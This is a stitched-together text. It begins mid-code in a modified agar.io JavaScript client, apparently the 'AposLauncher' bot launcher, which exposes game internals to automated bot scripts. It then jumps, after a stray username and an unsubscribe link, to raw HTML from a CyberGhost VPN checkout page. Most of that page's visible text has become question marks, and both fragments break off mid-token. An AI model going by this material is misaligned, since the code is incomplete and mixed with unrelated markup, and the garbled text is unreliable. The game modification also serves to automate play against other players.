!= R && (null == ua && (ua = new va(24, "#FFFFFF")), ua.C(displayText), c = ua.L(), a = c.width, f.globalAlpha = .2, f.fillStyle = "#000000", f.fillRect(10, r - 10 - 24 - 10, a + 10, 34), f.globalAlpha = 1, f.drawImage(c, 15, r - 10 - 24 - 5)); Cb(); b = Date.now() - b; b > 1E3 / 60 ? D -= .01 : b < 1E3 / 65 && (D += .01);.4 > D && (D = .4); 1 < D && (D = 1); b = C - ib; !T() || W ? (x += b / 2E3, 1 < x && (x = 1)) : (x -= b / 300, 0 > x && (x = 0)); 0 < x && (f.fillStyle = "#000000", f.globalAlpha = .5 * x, f.fillRect(0, 0, m, r), f.globalAlpha = 1); ib = C drawStats(f); } //UPDATE function customRender(d) { d.save(); for (var i = 0; i < lines.length; i++) { d.beginPath(); d.lineWidth = 5; if (lines[i][4] == 0) { d.strokeStyle = "#FF0000"; } else if (lines[i][4] == 1) { d.strokeStyle = "#00FF00"; } else if (lines[i][4] == 2) { d.strokeStyle = "#0000FF"; } else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["Vilhena"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.bot
Knele83
https://support.cyberghostvpn.com/index.php?/News/Subscriber/Unsubscribe/2264/30184b2e54f51ad6b63 <!-- #header --> <div id="header"> <div class="wrapper"> <h1><a href="http://www.cyberghostvpn.com/en/surf-anonym.html"><font><font>?????????? ??? - ???? ?? ????</font></font></a></h1> <div id="navi"> <!-- Flags --> </div> <div id="topNav" class="clearfix"> <div id="cleverSecurityVerification" class=""><div class="block"><div class="blockContent"><span class="securitySignCOS"><script type="text/javascript"><!-- function comodoPop(){ var w = window.open('https://secure.comodo.net/ttb_searcher/trustlogo?v_querytype=W&v_shortname=SCAS&x=6&y=5&v_search=store.cyberghostvpn.com', 'comodo', 'width=420,height=600,left=50,top=50'); w.focus(); } document.write('<a title="Click to verify" href="javascript:comodoPop();"><img src="/images/clientDefaultStyle/logoComodoSecureSite2010Small.png" style="width: 70px; height: 63px;" alt="Click to verify" border="0" /></a>'); //--></script><a title="???????? ?? ???????" href="javascript:comodoPop();"><img src="/images/clientDefaultStyle/logoComodoSecureSite2010Small.png" style="width: 70px; height: 63px;" alt="???????? ?? ???????" border="0"></a><noscript><a target="_blank" href="https://secure.comodo.net/ttb_searcher/trustlogo?v_querytype=W&amp;v_shortname=SCAS&amp;x=6&amp;y=5&amp;v_search=store.cyberghostvpn.com"><img src="/images/clientDefaultStyle/logoComodoSecureSite2010Small.png" style="width: 70px; height: 63px;" /></a></noscript></span><span class="securitySignCBS"><script type="text/javascript"><!-- function cbsecurityPop(){ var w = window.open('https://store.cyberghostvpn.com/848/?scope=opsecurity&id=xFVSoPqOuv', 'cbsecurity', 'width=520,height=600,left=50,top=50,resizable=yes,scrollbars=auto'); w.focus(); } document.write('<a title="Click to verify" href="javascript:cbsecurityPop();"><img src="/images/en/logoSslSecuredLarge.png" alt="Click to verify" border="0" /></a>'); //--></script><a title="???????? ?? ???????" href="javascript:cbsecurityPop();"><img src="/images/en/logoSslSecuredLarge.png" alt="???????? ?? ???????" border="0"></a><noscript><a target="_blank" href="https://store.cyberghostvpn.com/848/?scope=opsecurity&amp;id=xFVSoPqOuv"><img border="0" src="/images/en/logoSslSecuredLarge.png" /></a></noscript></span><span class="securitySignPCIDSS"><script type="text/javascript"><!-- function cbPciDssPop(){ var w = window.open('https://store.cyberghostvpn.com/848/?scope=oppcidss&id=xFVSoPqOuv', 'cbpcidss', 'width=520,height=600,left=50,top=50,resizable=yes,scrollbars=auto'); w.focus(); } document.write('<a title="Click to verify" href="javascript:cbPciDssPop();"><img src="/images/en/logoPciDssCertificateMedium.png" alt="Click to verify" border="0" /></a>'); //--></script><a title="???????? ?? ???????" href="javascript:cbPciDssPop();"><img src="/images/en/logoPciDssCertificateMedium.png" alt="???????? ?? ???????" border="0"></a><noscript><a target="_blank" href="https://store.cyberghostvpn.com/848/?scope=oppcidss&amp;id=xFVSoPqOuv"><img border="0" src="/images/en/logoPciDssCertificateMedium.png" /></a></noscript></span><div class="Clearer"><!--Hidden clearer--></div><div class="blockContentClearer"><!--//23--></div></div></div></div> </div> </div> </div> <!--//end of #header --> <div id="sliderHeader"> <div class="wrapper"> <div id="contentPadding" class="clearfix"> <script type="text/javascript"> /*<![CDATA[*/ DomLoaded.Load(function(){cbProvideAjaxLayerContent("https://store.cyberghostvpn.com/ajax/848/en/ic.webOrderProcessHelp/p.135911/file.xml?id=xFVSoPqOuv&fck=false" + vfb() + fck() + hsv());}); /*]]>*/ </script><div id="cleverContent"><div class="CBPage CBScopecheckout CBPagedefault"><div class="CBWrapper" id="cleverPageHeadline"><span class="CBText"><h1><font><font>???? ?????</font></font></h1></span></div><form method="post" action="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv" name="cleverForm"><input type="hidden" id="cbiID0ERBOA" name="progress" value="default"><div class="CBWrapper" id="cleverGlobalizer"><div class="CBWrapper" id="cleverGlobalizerLanguage"><div class="interact language"><div class="interactLabel"><label for="cbiID0EAAAACPBOA"><span class="interactLabel"><font><font>?????:</font></font></span></label></div><div class="interactField"><div class="CBSelection"><div class="CBListItemSelected"><span class="CBListItemSelected CBListItemVen"><font><font>????????</font></font></span></div><ul class="CBList"><li class="CBListItem CBListItemVen"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=en" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{en}];', this, event);"><span class="CBHyperLink"><font><font>????????</font></font></span></a></li><li class="CBListItem CBListItemVde"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=de" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{de}];', this, event);"><span class="CBHyperLink"><font><font>???????</font></font></span></a></li><li class="CBListItem CBListItemVes"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=es" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{es}];', this, event);"><span class="CBHyperLink"><font><font>???????</font></font></span></a></li><li class="CBListItem CBListItemVpt"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=pt" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{pt}];', this, event);"><span class="CBHyperLink"><font><font>??????????? - ??????</font></font></span></a></li><li class="CBListItem CBListItemVpb"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=pb" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{pb}];', this, event);"><span class="CBHyperLink"><font><font>??????????? - ??????</font></font></span></a></li><li class="CBListItem CBListItemVfr"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=fr" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{fr}];', this, event);"><span class="CBHyperLink"><font><font>????????</font></font></span></a></li><li class="CBListItem CBListItemVit"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=it" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{it}];', this, event);"><span class="CBHyperLink"><font><font>????????</font></font></span></a></li><li class="CBListItem CBListItemVnl"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=nl" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{nl}];', this, event);"><span class="CBHyperLink"><font><font>??????????</font></font></span></a></li><li class="CBListItem CBListItemVda"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=da" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{da}];', this, event);"><span class="CBHyperLink"><font><font>?????</font></font></span></a></li><li class="CBListItem CBListItemVsv"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=sv" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{sv}];', this, event);"><span class="CBHyperLink"><font><font>???????</font></font></span></a></li><li class="CBListItem CBListItemVno"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=no" class="CBHyperLink" onclick="cbBind('cbSubmit[languageId{no}];', this, event);"><span class="CBHyperLink"><font><font>?????</font></font></span></a></li><li class="CBListItem CBListItemVfi"><a href="https://store.cyberghostvpn.com/848/?scope=checkout&id=xFVSoPqOuv&language=fi" class="CBHyperLink" 